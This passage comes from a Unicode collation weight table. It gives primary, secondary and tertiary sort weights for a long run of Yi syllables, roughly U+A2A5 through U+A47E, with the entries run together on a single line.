[.4064.0020.0002] # YI SYLLABLE ZUP -A2A6 ; [.4065.0020.0002] # YI SYLLABLE ZURX -A2A7 ; [.4066.0020.0002] # YI SYLLABLE ZUR -A2A8 ; [.4067.0020.0002] # YI SYLLABLE ZYT -A2A9 ; [.4068.0020.0002] # YI SYLLABLE ZYX -A2AA ; [.4069.0020.0002] # YI SYLLABLE ZY -A2AB ; [.406A.0020.0002] # YI SYLLABLE ZYP -A2AC ; [.406B.0020.0002] # YI SYLLABLE ZYRX -A2AD ; [.406C.0020.0002] # YI SYLLABLE ZYR -A2AE ; [.406D.0020.0002] # YI SYLLABLE CIT -A2AF ; [.406E.0020.0002] # YI SYLLABLE CIX -A2B0 ; [.406F.0020.0002] # YI SYLLABLE CI -A2B1 ; [.4070.0020.0002] # YI SYLLABLE CIP -A2B2 ; [.4071.0020.0002] # YI SYLLABLE CIET -A2B3 ; [.4072.0020.0002] # YI SYLLABLE CIEX -A2B4 ; [.4073.0020.0002] # YI SYLLABLE CIE -A2B5 ; [.4074.0020.0002] # YI SYLLABLE CIEP -A2B6 ; [.4075.0020.0002] # YI SYLLABLE CAT -A2B7 ; [.4076.0020.0002] # YI SYLLABLE CAX -A2B8 ; [.4077.0020.0002] # YI SYLLABLE CA -A2B9 ; [.4078.0020.0002] # YI SYLLABLE CAP -A2BA ; [.4079.0020.0002] # YI SYLLABLE CUOX -A2BB ; [.407A.0020.0002] # YI SYLLABLE CUO -A2BC ; [.407B.0020.0002] # YI SYLLABLE CUOP -A2BD ; [.407C.0020.0002] # YI SYLLABLE COT -A2BE ; [.407D.0020.0002] # YI SYLLABLE COX -A2BF ; [.407E.0020.0002] # YI SYLLABLE CO -A2C0 ; [.407F.0020.0002] # YI SYLLABLE COP -A2C1 ; [.4080.0020.0002] # YI SYLLABLE CEX -A2C2 ; [.4081.0020.0002] # YI SYLLABLE CE -A2C3 ; [.4082.0020.0002] # YI SYLLABLE CEP -A2C4 ; [.4083.0020.0002] # YI SYLLABLE CUT -A2C5 ; [.4084.0020.0002] # YI SYLLABLE CUX -A2C6 ; [.4085.0020.0002] # YI SYLLABLE CU -A2C7 ; [.4086.0020.0002] # YI SYLLABLE CUP -A2C8 ; [.4087.0020.0002] # YI SYLLABLE CURX -A2C9 ; [.4088.0020.0002] # YI SYLLABLE CUR -A2CA ; [.4089.0020.0002] # YI SYLLABLE CYT -A2CB ; [.408A.0020.0002] # YI SYLLABLE CYX -A2CC ; [.408B.0020.0002] # YI SYLLABLE CY -A2CD ; [.408C.0020.0002] # YI SYLLABLE CYP -A2CE ; [.408D.0020.0002] # YI SYLLABLE CYRX -A2CF ; [.408E.0020.0002] # YI SYLLABLE CYR -A2D0 ; [.408F.0020.0002] # YI SYLLABLE ZZIT -A2D1 ; [.4090.0020.0002] # YI SYLLABLE ZZIX -A2D2 ; [.4091.0020.0002] # YI SYLLABLE ZZI -A2D3 ; [.4092.0020.0002] # YI SYLLABLE ZZIP -A2D4 ; [.4093.0020.0002] # YI SYLLABLE ZZIET -A2D5 ; [.4094.0020.0002] # YI SYLLABLE ZZIEX -A2D6 ; [.4095.0020.0002] # YI SYLLABLE ZZIE -A2D7 ; [.4096.0020.0002] # YI SYLLABLE ZZIEP -A2D8 ; [.4097.0020.0002] # YI SYLLABLE ZZAT -A2D9 ; [.4098.0020.0002] # YI SYLLABLE ZZAX -A2DA ; [.4099.0020.0002] # YI SYLLABLE ZZA -A2DB ; [.409A.0020.0002] # YI SYLLABLE ZZAP -A2DC ; [.409B.0020.0002] # YI SYLLABLE ZZOX -A2DD ; [.409C.0020.0002] # YI SYLLABLE ZZO -A2DE ; [.409D.0020.0002] # YI SYLLABLE ZZOP -A2DF ; [.409E.0020.0002] # YI SYLLABLE ZZEX -A2E0 ; [.409F.0020.0002] # YI SYLLABLE ZZE -A2E1 ; [.40A0.0020.0002] # YI SYLLABLE ZZEP -A2E2 ; [.40A1.0020.0002] # YI SYLLABLE ZZUX -A2E3 ; [.40A2.0020.0002] # YI SYLLABLE ZZU -A2E4 ; [.40A3.0020.0002] # YI SYLLABLE ZZUP -A2E5 ; [.40A4.0020.0002] # YI SYLLABLE ZZURX -A2E6 ; [.40A5.0020.0002] # YI SYLLABLE ZZUR -A2E7 ; [.40A6.0020.0002] # YI SYLLABLE ZZYT -A2E8 ; [.40A7.0020.0002] # YI SYLLABLE ZZYX -A2E9 ; [.40A8.0020.0002] # YI SYLLABLE ZZY -A2EA ; [.40A9.0020.0002] # YI SYLLABLE ZZYP -A2EB ; [.40AA.0020.0002] # YI SYLLABLE ZZYRX -A2EC ; [.40AB.0020.0002] # YI SYLLABLE ZZYR -A2ED ; [.40AC.0020.0002] # YI SYLLABLE NZIT -A2EE ; [.40AD.0020.0002] # YI SYLLABLE NZIX -A2EF ; [.40AE.0020.0002] # YI SYLLABLE NZI -A2F0 ; [.40AF.0020.0002] # YI SYLLABLE NZIP -A2F1 ; [.40B0.0020.0002] # YI SYLLABLE NZIEX -A2F2 ; [.40B1.0020.0002] # YI SYLLABLE NZIE -A2F3 ; [.40B2.0020.0002] # YI SYLLABLE NZIEP -A2F4 ; [.40B3.0020.0002] # YI SYLLABLE NZAT -A2F5 ; [.40B4.0020.0002] # YI SYLLABLE NZAX -A2F6 ; [.40B5.0020.0002] # YI SYLLABLE NZA -A2F7 ; [.40B6.0020.0002] # YI SYLLABLE NZAP -A2F8 ; [.40B7.0020.0002] # YI SYLLABLE NZUOX -A2F9 ; [.40B8.0020.0002] # YI SYLLABLE NZUO -A2FA ; [.40B9.0020.0002] # YI SYLLABLE NZOX -A2FB ; [.40BA.0020.0002] # YI SYLLABLE NZOP -A2FC ; [.40BB.0020.0002] # YI SYLLABLE NZEX -A2FD ; [.40BC.0020.0002] # YI SYLLABLE NZE -A2FE ; [.40BD.0020.0002] # YI SYLLABLE NZUX -A2FF ; [.40BE.0020.0002] # YI SYLLABLE NZU -A300 ; [.40BF.0020.0002] # YI SYLLABLE NZUP -A301 ; [.40C0.0020.0002] # YI SYLLABLE NZURX -A302 ; [.40C1.0020.0002] # YI SYLLABLE NZUR -A303 ; [.40C2.0020.0002] # YI SYLLABLE NZYT -A304 ; [.40C3.0020.0002] # YI SYLLABLE NZYX -A305 ; [.40C4.0020.0002] # YI SYLLABLE NZY -A306 ; [.40C5.0020.0002] # YI SYLLABLE NZYP -A307 ; [.40C6.0020.0002] # YI SYLLABLE NZYRX -A308 ; [.40C7.0020.0002] # YI SYLLABLE NZYR -A309 ; [.40C8.0020.0002] # YI SYLLABLE SIT -A30A ; [.40C9.0020.0002] # YI SYLLABLE SIX -A30B ; [.40CA.0020.0002] # YI SYLLABLE SI -A30C ; [.40CB.0020.0002] # YI SYLLABLE SIP -A30D ; [.40CC.0020.0002] # YI SYLLABLE SIEX -A30E ; [.40CD.0020.0002] # YI SYLLABLE SIE -A30F ; [.40CE.0020.0002] # YI SYLLABLE SIEP -A310 ; [.40CF.0020.0002] # YI SYLLABLE SAT -A311 ; [.40D0.0020.0002] # YI SYLLABLE SAX -A312 ; [.40D1.0020.0002] # YI SYLLABLE SA -A313 ; [.40D2.0020.0002] # YI SYLLABLE SAP -A314 ; [.40D3.0020.0002] # YI SYLLABLE SUOX -A315 ; [.40D4.0020.0002] # YI SYLLABLE SUO -A316 ; [.40D5.0020.0002] # YI SYLLABLE SUOP -A317 ; [.40D6.0020.0002] # YI SYLLABLE SOT -A318 ; [.40D7.0020.0002] # YI SYLLABLE SOX -A319 ; [.40D8.0020.0002] # YI SYLLABLE SO -A31A ; [.40D9.0020.0002] # YI SYLLABLE SOP -A31B ; [.40DA.0020.0002] # YI SYLLABLE SEX -A31C ; [.40DB.0020.0002] # YI SYLLABLE SE -A31D ; [.40DC.0020.0002] # YI SYLLABLE SEP -A31E ; [.40DD.0020.0002] # YI SYLLABLE SUT -A31F ; [.40DE.0020.0002] # YI SYLLABLE SUX -A320 ; [.40DF.0020.0002] # YI SYLLABLE SU -A321 ; [.40E0.0020.0002] # YI SYLLABLE SUP -A322 ; [.40E1.0020.0002] # YI SYLLABLE SURX -A323 ; [.40E2.0020.0002] # YI SYLLABLE SUR -A324 ; [.40E3.0020.0002] # YI SYLLABLE SYT -A325 ; [.40E4.0020.0002] # YI SYLLABLE SYX -A326 ; [.40E5.0020.0002] # YI SYLLABLE SY -A327 ; [.40E6.0020.0002] # YI SYLLABLE SYP -A328 ; [.40E7.0020.0002] # YI SYLLABLE SYRX -A329 ; [.40E8.0020.0002] # YI SYLLABLE SYR -A32A ; [.40E9.0020.0002] # YI SYLLABLE SSIT -A32B ; [.40EA.0020.0002] # YI SYLLABLE SSIX -A32C ; [.40EB.0020.0002] # YI SYLLABLE SSI -A32D ; [.40EC.0020.0002] # YI SYLLABLE SSIP -A32E ; [.40ED.0020.0002] # YI SYLLABLE SSIEX -A32F ; [.40EE.0020.0002] # YI SYLLABLE SSIE -A330 ; [.40EF.0020.0002] # YI SYLLABLE SSIEP -A331 ; [.40F0.0020.0002] # YI SYLLABLE SSAT -A332 ; [.40F1.0020.0002] # YI SYLLABLE SSAX -A333 ; [.40F2.0020.0002] # YI SYLLABLE SSA -A334 ; [.40F3.0020.0002] # YI SYLLABLE SSAP -A335 ; [.40F4.0020.0002] # YI SYLLABLE SSOT -A336 ; [.40F5.0020.0002] # YI SYLLABLE SSOX -A337 ; [.40F6.0020.0002] # YI SYLLABLE SSO -A338 ; [.40F7.0020.0002] # YI SYLLABLE SSOP -A339 ; [.40F8.0020.0002] # YI SYLLABLE SSEX -A33A ; [.40F9.0020.0002] # YI SYLLABLE SSE -A33B ; [.40FA.0020.0002] # YI SYLLABLE SSEP -A33C ; [.40FB.0020.0002] # YI SYLLABLE SSUT -A33D ; [.40FC.0020.0002] # YI SYLLABLE SSUX -A33E ; [.40FD.0020.0002] # YI SYLLABLE SSU -A33F ; [.40FE.0020.0002] # YI SYLLABLE SSUP -A340 ; [.40FF.0020.0002] # YI SYLLABLE SSYT -A341 ; [.4100.0020.0002] # YI SYLLABLE SSYX -A342 ; [.4101.0020.0002] # YI SYLLABLE SSY -A343 ; [.4102.0020.0002] # YI SYLLABLE SSYP -A344 ; [.4103.0020.0002] # YI SYLLABLE SSYRX -A345 ; [.4104.0020.0002] # YI SYLLABLE SSYR -A346 ; [.4105.0020.0002] # YI SYLLABLE ZHAT -A347 ; [.4106.0020.0002] # YI SYLLABLE ZHAX -A348 ; [.4107.0020.0002] # YI SYLLABLE ZHA -A349 ; [.4108.0020.0002] # YI SYLLABLE ZHAP -A34A ; [.4109.0020.0002] # YI SYLLABLE ZHUOX -A34B ; [.410A.0020.0002] # YI SYLLABLE ZHUO -A34C ; [.410B.0020.0002] # YI SYLLABLE ZHUOP -A34D ; [.410C.0020.0002] # YI SYLLABLE ZHOT -A34E ; [.410D.0020.0002] # YI SYLLABLE ZHOX -A34F ; [.410E.0020.0002] # YI SYLLABLE ZHO -A350 ; [.410F.0020.0002] # YI SYLLABLE ZHOP -A351 ; [.4110.0020.0002] # YI SYLLABLE ZHET -A352 ; [.4111.0020.0002] # YI SYLLABLE ZHEX -A353 ; [.4112.0020.0002] # YI SYLLABLE ZHE -A354 ; [.4113.0020.0002] # YI SYLLABLE ZHEP -A355 ; [.4114.0020.0002] # YI SYLLABLE ZHUT -A356 ; [.4115.0020.0002] # YI SYLLABLE ZHUX -A357 ; [.4116.0020.0002] # YI SYLLABLE ZHU -A358 ; [.4117.0020.0002] # YI SYLLABLE ZHUP -A359 ; [.4118.0020.0002] # YI SYLLABLE ZHURX -A35A ; [.4119.0020.0002] # YI SYLLABLE ZHUR -A35B ; [.411A.0020.0002] # YI SYLLABLE ZHYT -A35C ; [.411B.0020.0002] # YI SYLLABLE ZHYX -A35D ; [.411C.0020.0002] # YI SYLLABLE ZHY -A35E ; [.411D.0020.0002] # YI SYLLABLE ZHYP -A35F ; [.411E.0020.0002] # YI SYLLABLE ZHYRX -A360 ; [.411F.0020.0002] # YI SYLLABLE ZHYR -A361 ; [.4120.0020.0002] # YI SYLLABLE CHAT -A362 ; [.4121.0020.0002] # YI SYLLABLE CHAX -A363 ; [.4122.0020.0002] # YI SYLLABLE CHA -A364 ; [.4123.0020.0002] # YI SYLLABLE CHAP -A365 ; [.4124.0020.0002] # YI SYLLABLE CHUOT -A366 ; [.4125.0020.0002] # YI SYLLABLE CHUOX -A367 ; [.4126.0020.0002] # YI SYLLABLE CHUO -A368 ; [.4127.0020.0002] # YI SYLLABLE CHUOP -A369 ; [.4128.0020.0002] # YI SYLLABLE CHOT -A36A ; [.4129.0020.0002] # YI SYLLABLE CHOX -A36B ; [.412A.0020.0002] # YI SYLLABLE CHO -A36C ; [.412B.0020.0002] # YI SYLLABLE CHOP -A36D ; [.412C.0020.0002] # YI SYLLABLE CHET -A36E ; [.412D.0020.0002] # YI SYLLABLE CHEX -A36F ; [.412E.0020.0002] # YI SYLLABLE CHE -A370 ; [.412F.0020.0002] # YI SYLLABLE CHEP -A371 ; [.4130.0020.0002] # YI SYLLABLE CHUX -A372 ; [.4131.0020.0002] # YI SYLLABLE CHU -A373 ; [.4132.0020.0002] # YI SYLLABLE CHUP -A374 ; [.4133.0020.0002] # YI SYLLABLE CHURX -A375 ; [.4134.0020.0002] # YI SYLLABLE CHUR -A376 ; [.4135.0020.0002] # YI SYLLABLE CHYT -A377 ; [.4136.0020.0002] # YI SYLLABLE CHYX -A378 ; [.4137.0020.0002] # YI SYLLABLE CHY -A379 ; [.4138.0020.0002] # YI SYLLABLE CHYP -A37A ; [.4139.0020.0002] # YI SYLLABLE CHYRX -A37B ; [.413A.0020.0002] # YI SYLLABLE CHYR -A37C ; [.413B.0020.0002] # YI SYLLABLE RRAX -A37D ; [.413C.0020.0002] # YI SYLLABLE RRA -A37E ; [.413D.0020.0002] # YI SYLLABLE RRUOX -A37F ; [.413E.0020.0002] # YI SYLLABLE RRUO -A380 ; [.413F.0020.0002] # YI SYLLABLE RROT -A381 ; [.4140.0020.0002] # YI SYLLABLE RROX -A382 ; [.4141.0020.0002] # YI SYLLABLE RRO -A383 ; [.4142.0020.0002] # YI SYLLABLE RROP -A384 ; [.4143.0020.0002] # YI SYLLABLE RRET -A385 ; [.4144.0020.0002] # YI SYLLABLE RREX -A386 ; [.4145.0020.0002] # YI SYLLABLE RRE -A387 ; [.4146.0020.0002] # YI SYLLABLE RREP -A388 ; [.4147.0020.0002] # YI SYLLABLE RRUT -A389 ; [.4148.0020.0002] # YI SYLLABLE RRUX -A38A ; [.4149.0020.0002] # YI SYLLABLE RRU -A38B ; [.414A.0020.0002] # YI SYLLABLE RRUP -A38C ; [.414B.0020.0002] # YI SYLLABLE RRURX -A38D ; [.414C.0020.0002] # YI SYLLABLE RRUR -A38E ; [.414D.0020.0002] # YI SYLLABLE RRYT -A38F ; [.414E.0020.0002] # YI SYLLABLE RRYX -A390 ; [.414F.0020.0002] # YI SYLLABLE RRY -A391 ; [.4150.0020.0002] # YI SYLLABLE RRYP -A392 ; [.4151.0020.0002] # YI SYLLABLE RRYRX -A393 ; [.4152.0020.0002] # YI SYLLABLE RRYR -A394 ; [.4153.0020.0002] # YI SYLLABLE NRAT -A395 ; [.4154.0020.0002] # YI SYLLABLE NRAX -A396 ; [.4155.0020.0002] # YI SYLLABLE NRA -A397 ; [.4156.0020.0002] # YI SYLLABLE NRAP -A398 ; [.4157.0020.0002] # YI SYLLABLE NROX -A399 ; [.4158.0020.0002] # YI SYLLABLE NRO -A39A ; [.4159.0020.0002] # YI SYLLABLE NROP -A39B ; [.415A.0020.0002] # YI SYLLABLE NRET -A39C ; [.415B.0020.0002] # YI SYLLABLE NREX -A39D ; [.415C.0020.0002] # YI SYLLABLE NRE -A39E ; [.415D.0020.0002] # YI SYLLABLE NREP -A39F ; [.415E.0020.0002] # YI SYLLABLE NRUT -A3A0 ; [.415F.0020.0002] # YI SYLLABLE NRUX -A3A1 ; [.4160.0020.0002] # YI SYLLABLE NRU -A3A2 ; [.4161.0020.0002] # YI SYLLABLE NRUP -A3A3 ; [.4162.0020.0002] # YI SYLLABLE NRURX -A3A4 ; [.4163.0020.0002] # YI SYLLABLE NRUR -A3A5 ; [.4164.0020.0002] # YI SYLLABLE NRYT -A3A6 ; [.4165.0020.0002] # YI SYLLABLE NRYX -A3A7 ; [.4166.0020.0002] # YI SYLLABLE NRY -A3A8 ; [.4167.0020.0002] # YI SYLLABLE NRYP -A3A9 ; [.4168.0020.0002] # YI SYLLABLE NRYRX -A3AA ; [.4169.0020.0002] # YI SYLLABLE NRYR -A3AB ; [.416A.0020.0002] # YI SYLLABLE SHAT -A3AC ; [.416B.0020.0002] # YI SYLLABLE SHAX -A3AD ; [.416C.0020.0002] # YI SYLLABLE SHA -A3AE ; [.416D.0020.0002] # YI SYLLABLE SHAP -A3AF ; [.416E.0020.0002] # YI SYLLABLE SHUOX -A3B0 ; [.416F.0020.0002] # YI SYLLABLE SHUO -A3B1 ; [.4170.0020.0002] # YI SYLLABLE SHUOP -A3B2 ; [.4171.0020.0002] # YI SYLLABLE SHOT -A3B3 ; [.4172.0020.0002] # YI SYLLABLE SHOX -A3B4 ; [.4173.0020.0002] # YI SYLLABLE SHO -A3B5 ; [.4174.0020.0002] # YI SYLLABLE SHOP -A3B6 ; [.4175.0020.0002] # YI SYLLABLE SHET -A3B7 ; [.4176.0020.0002] # YI SYLLABLE SHEX -A3B8 ; [.4177.0020.0002] # YI SYLLABLE SHE -A3B9 ; [.4178.0020.0002] # YI SYLLABLE SHEP -A3BA ; [.4179.0020.0002] # YI SYLLABLE SHUT -A3BB ; [.417A.0020.0002] # YI SYLLABLE SHUX -A3BC ; [.417B.0020.0002] # YI SYLLABLE SHU -A3BD ; [.417C.0020.0002] # YI SYLLABLE SHUP -A3BE ; [.417D.0020.0002] # YI SYLLABLE SHURX -A3BF ; [.417E.0020.0002] # YI SYLLABLE SHUR -A3C0 ; [.417F.0020.0002] # YI SYLLABLE SHYT -A3C1 ; [.4180.0020.0002] # YI SYLLABLE SHYX -A3C2 ; [.4181.0020.0002] # YI SYLLABLE SHY -A3C3 ; [.4182.0020.0002] # YI SYLLABLE SHYP -A3C4 ; [.4183.0020.0002] # YI SYLLABLE SHYRX -A3C5 ; [.4184.0020.0002] # YI SYLLABLE SHYR -A3C6 ; [.4185.0020.0002] # YI SYLLABLE RAT -A3C7 ; [.4186.0020.0002] # YI SYLLABLE RAX -A3C8 ; [.4187.0020.0002] # YI SYLLABLE RA -A3C9 ; [.4188.0020.0002] # YI SYLLABLE RAP -A3CA ; [.4189.0020.0002] # YI SYLLABLE RUOX -A3CB ; [.418A.0020.0002] # YI SYLLABLE RUO -A3CC ; [.418B.0020.0002] # YI SYLLABLE RUOP -A3CD ; [.418C.0020.0002] # YI SYLLABLE ROT -A3CE ; [.418D.0020.0002] # YI SYLLABLE ROX -A3CF ; [.418E.0020.0002] # YI SYLLABLE RO -A3D0 ; [.418F.0020.0002] # YI SYLLABLE ROP -A3D1 ; [.4190.0020.0002] # YI SYLLABLE REX -A3D2 ; [.4191.0020.0002] # YI SYLLABLE RE -A3D3 ; [.4192.0020.0002] # YI SYLLABLE REP -A3D4 ; [.4193.0020.0002] # YI SYLLABLE RUT -A3D5 ; [.4194.0020.0002] # YI SYLLABLE RUX -A3D6 ; [.4195.0020.0002] # YI SYLLABLE RU -A3D7 ; [.4196.0020.0002] # YI SYLLABLE RUP -A3D8 ; [.4197.0020.0002] # YI SYLLABLE RURX -A3D9 ; [.4198.0020.0002] # YI SYLLABLE RUR -A3DA ; [.4199.0020.0002] # YI SYLLABLE RYT -A3DB ; [.419A.0020.0002] # YI SYLLABLE RYX -A3DC ; [.419B.0020.0002] # YI SYLLABLE RY -A3DD ; [.419C.0020.0002] # YI SYLLABLE RYP -A3DE ; [.419D.0020.0002] # YI SYLLABLE RYRX -A3DF ; [.419E.0020.0002] # YI SYLLABLE RYR -A3E0 ; [.419F.0020.0002] # YI SYLLABLE JIT -A3E1 ; [.41A0.0020.0002] # YI SYLLABLE JIX -A3E2 ; [.41A1.0020.0002] # YI SYLLABLE JI -A3E3 ; [.41A2.0020.0002] # YI SYLLABLE JIP -A3E4 ; [.41A3.0020.0002] # YI SYLLABLE JIET -A3E5 ; [.41A4.0020.0002] # YI SYLLABLE JIEX -A3E6 ; [.41A5.0020.0002] # YI SYLLABLE JIE -A3E7 ; [.41A6.0020.0002] # YI SYLLABLE JIEP -A3E8 ; [.41A7.0020.0002] # YI SYLLABLE JUOT -A3E9 ; [.41A8.0020.0002] # YI SYLLABLE JUOX -A3EA ; [.41A9.0020.0002] # YI SYLLABLE JUO -A3EB ; [.41AA.0020.0002] # YI SYLLABLE JUOP -A3EC ; [.41AB.0020.0002] # YI SYLLABLE JOT -A3ED ; [.41AC.0020.0002] # YI SYLLABLE JOX -A3EE ; [.41AD.0020.0002] # YI SYLLABLE JO -A3EF ; [.41AE.0020.0002] # YI SYLLABLE JOP -A3F0 ; [.41AF.0020.0002] # YI SYLLABLE JUT -A3F1 ; [.41B0.0020.0002] # YI SYLLABLE JUX -A3F2 ; [.41B1.0020.0002] # YI SYLLABLE JU -A3F3 ; [.41B2.0020.0002] # YI SYLLABLE JUP -A3F4 ; [.41B3.0020.0002] # YI SYLLABLE JURX -A3F5 ; [.41B4.0020.0002] # YI SYLLABLE JUR -A3F6 ; [.41B5.0020.0002] # YI SYLLABLE JYT -A3F7 ; [.41B6.0020.0002] # YI SYLLABLE JYX -A3F8 ; [.41B7.0020.0002] # YI SYLLABLE JY -A3F9 ; [.41B8.0020.0002] # YI SYLLABLE JYP -A3FA ; [.41B9.0020.0002] # YI SYLLABLE JYRX -A3FB ; [.41BA.0020.0002] # YI SYLLABLE JYR -A3FC ; [.41BB.0020.0002] # YI SYLLABLE QIT -A3FD ; [.41BC.0020.0002] # YI SYLLABLE QIX -A3FE ; [.41BD.0020.0002] # YI SYLLABLE QI -A3FF ; [.41BE.0020.0002] # YI SYLLABLE QIP -A400 ; [.41BF.0020.0002] # YI SYLLABLE QIET -A401 ; [.41C0.0020.0002] # YI SYLLABLE QIEX -A402 ; [.41C1.0020.0002] # YI SYLLABLE QIE -A403 ; [.41C2.0020.0002] # YI SYLLABLE QIEP -A404 ; [.41C3.0020.0002] # YI SYLLABLE QUOT -A405 ; [.41C4.0020.0002] # YI SYLLABLE QUOX -A406 ; [.41C5.0020.0002] # YI SYLLABLE QUO -A407 ; [.41C6.0020.0002] # YI SYLLABLE QUOP -A408 ; [.41C7.0020.0002] # YI SYLLABLE QOT -A409 ; [.41C8.0020.0002] # YI SYLLABLE QOX -A40A ; [.41C9.0020.0002] # YI SYLLABLE QO -A40B ; [.41CA.0020.0002] # YI SYLLABLE QOP -A40C ; [.41CB.0020.0002] # YI SYLLABLE QUT -A40D ; [.41CC.0020.0002] # YI SYLLABLE QUX -A40E ; [.41CD.0020.0002] # YI SYLLABLE QU -A40F ; [.41CE.0020.0002] # YI SYLLABLE QUP -A410 ; [.41CF.0020.0002] # YI SYLLABLE QURX -A411 ; [.41D0.0020.0002] # YI SYLLABLE QUR -A412 ; [.41D1.0020.0002] # YI SYLLABLE QYT -A413 ; [.41D2.0020.0002] # YI SYLLABLE QYX -A414 ; [.41D3.0020.0002] # YI SYLLABLE QY -A415 ; [.41D4.0020.0002] # YI SYLLABLE QYP -A416 ; [.41D5.0020.0002] # YI SYLLABLE QYRX -A417 ; [.41D6.0020.0002] # YI SYLLABLE QYR -A418 ; [.41D7.0020.0002] # YI SYLLABLE JJIT -A419 ; [.41D8.0020.0002] # YI SYLLABLE JJIX -A41A ; [.41D9.0020.0002] # YI SYLLABLE JJI -A41B ; [.41DA.0020.0002] # YI SYLLABLE JJIP -A41C ; [.41DB.0020.0002] # YI SYLLABLE JJIET -A41D ; [.41DC.0020.0002] # YI SYLLABLE JJIEX -A41E ; [.41DD.0020.0002] # YI SYLLABLE JJIE -A41F ; [.41DE.0020.0002] # YI SYLLABLE JJIEP -A420 ; [.41DF.0020.0002] # YI SYLLABLE JJUOX -A421 ; [.41E0.0020.0002] # YI SYLLABLE JJUO -A422 ; [.41E1.0020.0002] # YI SYLLABLE JJUOP -A423 ; [.41E2.0020.0002] # YI SYLLABLE JJOT -A424 ; [.41E3.0020.0002] # YI SYLLABLE JJOX -A425 ; [.41E4.0020.0002] # YI SYLLABLE JJO -A426 ; [.41E5.0020.0002] # YI SYLLABLE JJOP -A427 ; [.41E6.0020.0002] # YI SYLLABLE JJUT -A428 ; [.41E7.0020.0002] # YI SYLLABLE JJUX -A429 ; [.41E8.0020.0002] # YI SYLLABLE JJU -A42A ; [.41E9.0020.0002] # YI SYLLABLE JJUP -A42B ; [.41EA.0020.0002] # YI SYLLABLE JJURX -A42C ; [.41EB.0020.0002] # YI SYLLABLE JJUR -A42D ; [.41EC.0020.0002] # YI SYLLABLE JJYT -A42E ; [.41ED.0020.0002] # YI SYLLABLE JJYX -A42F ; [.41EE.0020.0002] # YI SYLLABLE JJY -A430 ; [.41EF.0020.0002] # YI SYLLABLE JJYP -A431 ; [.41F0.0020.0002] # YI SYLLABLE NJIT -A432 ; [.41F1.0020.0002] # YI SYLLABLE NJIX -A433 ; [.41F2.0020.0002] # YI SYLLABLE NJI -A434 ; [.41F3.0020.0002] # YI SYLLABLE NJIP -A435 ; [.41F4.0020.0002] # YI SYLLABLE NJIET -A436 ; [.41F5.0020.0002] # YI SYLLABLE NJIEX -A437 ; [.41F6.0020.0002] # YI SYLLABLE NJIE -A438 ; [.41F7.0020.0002] # YI SYLLABLE NJIEP -A439 ; [.41F8.0020.0002] # YI SYLLABLE NJUOX -A43A ; [.41F9.0020.0002] # YI SYLLABLE NJUO -A43B ; [.41FA.0020.0002] # YI SYLLABLE NJOT -A43C ; [.41FB.0020.0002] # YI SYLLABLE NJOX -A43D ; [.41FC.0020.0002] # YI SYLLABLE NJO -A43E ; [.41FD.0020.0002] # YI SYLLABLE NJOP -A43F ; [.41FE.0020.0002] # YI SYLLABLE NJUX -A440 ; [.41FF.0020.0002] # YI SYLLABLE NJU -A441 ; [.4200.0020.0002] # YI SYLLABLE NJUP -A442 ; [.4201.0020.0002] # YI SYLLABLE NJURX -A443 ; [.4202.0020.0002] # YI SYLLABLE NJUR -A444 ; [.4203.0020.0002] # YI SYLLABLE NJYT -A445 ; [.4204.0020.0002] # YI SYLLABLE NJYX -A446 ; [.4205.0020.0002] # YI SYLLABLE NJY -A447 ; [.4206.0020.0002] # YI SYLLABLE NJYP -A448 ; [.4207.0020.0002] # YI SYLLABLE NJYRX -A449 ; [.4208.0020.0002] # YI SYLLABLE NJYR -A44A ; [.4209.0020.0002] # YI SYLLABLE NYIT -A44B ; [.420A.0020.0002] # YI SYLLABLE NYIX -A44C ; [.420B.0020.0002] # YI SYLLABLE NYI -A44D ; [.420C.0020.0002] # YI SYLLABLE NYIP -A44E ; [.420D.0020.0002] # YI SYLLABLE NYIET -A44F ; [.420E.0020.0002] # YI SYLLABLE NYIEX -A450 ; [.420F.0020.0002] # YI SYLLABLE NYIE -A451 ; [.4210.0020.0002] # YI SYLLABLE NYIEP -A452 ; [.4211.0020.0002] # YI SYLLABLE NYUOX -A453 ; [.4212.0020.0002] # YI SYLLABLE NYUO -A454 ; [.4213.0020.0002] # YI SYLLABLE NYUOP -A455 ; [.4214.0020.0002] # YI SYLLABLE NYOT -A456 ; [.4215.0020.0002] # YI SYLLABLE NYOX -A457 ; [.4216.0020.0002] # YI SYLLABLE NYO -A458 ; [.4217.0020.0002] # YI SYLLABLE NYOP -A459 ; [.4218.0020.0002] # YI SYLLABLE NYUT -A45A ; [.4219.0020.0002] # YI SYLLABLE NYUX -A45B ; [.421A.0020.0002] # YI SYLLABLE NYU -A45C ; [.421B.0020.0002] # YI SYLLABLE NYUP -A45D ; [.421C.0020.0002] # YI SYLLABLE XIT -A45E ; [.421D.0020.0002] # YI SYLLABLE XIX -A45F ; [.421E.0020.0002] # YI SYLLABLE XI -A460 ; [.421F.0020.0002] # YI SYLLABLE XIP -A461 ; [.4220.0020.0002] # YI SYLLABLE XIET -A462 ; [.4221.0020.0002] # YI SYLLABLE XIEX -A463 ; [.4222.0020.0002] # YI SYLLABLE XIE -A464 ; [.4223.0020.0002] # YI SYLLABLE XIEP -A465 ; [.4224.0020.0002] # YI SYLLABLE XUOX -A466 ; [.4225.0020.0002] # YI SYLLABLE XUO -A467 ; [.4226.0020.0002] # YI SYLLABLE XOT -A468 ; [.4227.0020.0002] # YI SYLLABLE XOX -A469 ; [.4228.0020.0002] # YI SYLLABLE XO -A46A ; [.4229.0020.0002] # YI SYLLABLE XOP -A46B ; [.422A.0020.0002] # YI SYLLABLE XYT -A46C ; [.422B.0020.0002] # YI SYLLABLE XYX -A46D ; [.422C.0020.0002] # YI SYLLABLE XY -A46E ; [.422D.0020.0002] # YI SYLLABLE XYP -A46F ; [.422E.0020.0002] # YI SYLLABLE XYRX -A470 ; [.422F.0020.0002] # YI SYLLABLE XYR -A471 ; [.4230.0020.0002] # YI SYLLABLE YIT -A472 ; [.4231.0020.0002] # YI SYLLABLE YIX -A473 ; [.4232.0020.0002] # YI SYLLABLE YI -A474 ; [.4233.0020.0002] # YI SYLLABLE YIP -A475 ; [.4234.0020.0002] # YI SYLLABLE YIET -A476 ; [.4235.0020.0002] # YI SYLLABLE YIEX -A477 ; [.4236.0020.0002] # YI SYLLABLE YIE -A478 ; [.4237.0020.0002] # YI SYLLABLE YIEP -A479 ; [.4238.0020.0002] # YI SYLLABLE YUOT -A47A ; [.4239.0020.0002] # YI SYLLABLE YUOX -A47B ; [.423A.0020.0002] # YI SYLLABLE YUO -A47C ; [.423B.0020.0002] # YI SYLLABLE YUOP -A47D ; [.423C.0020.0002] # YI SYLLABLE YOT -A47E ; 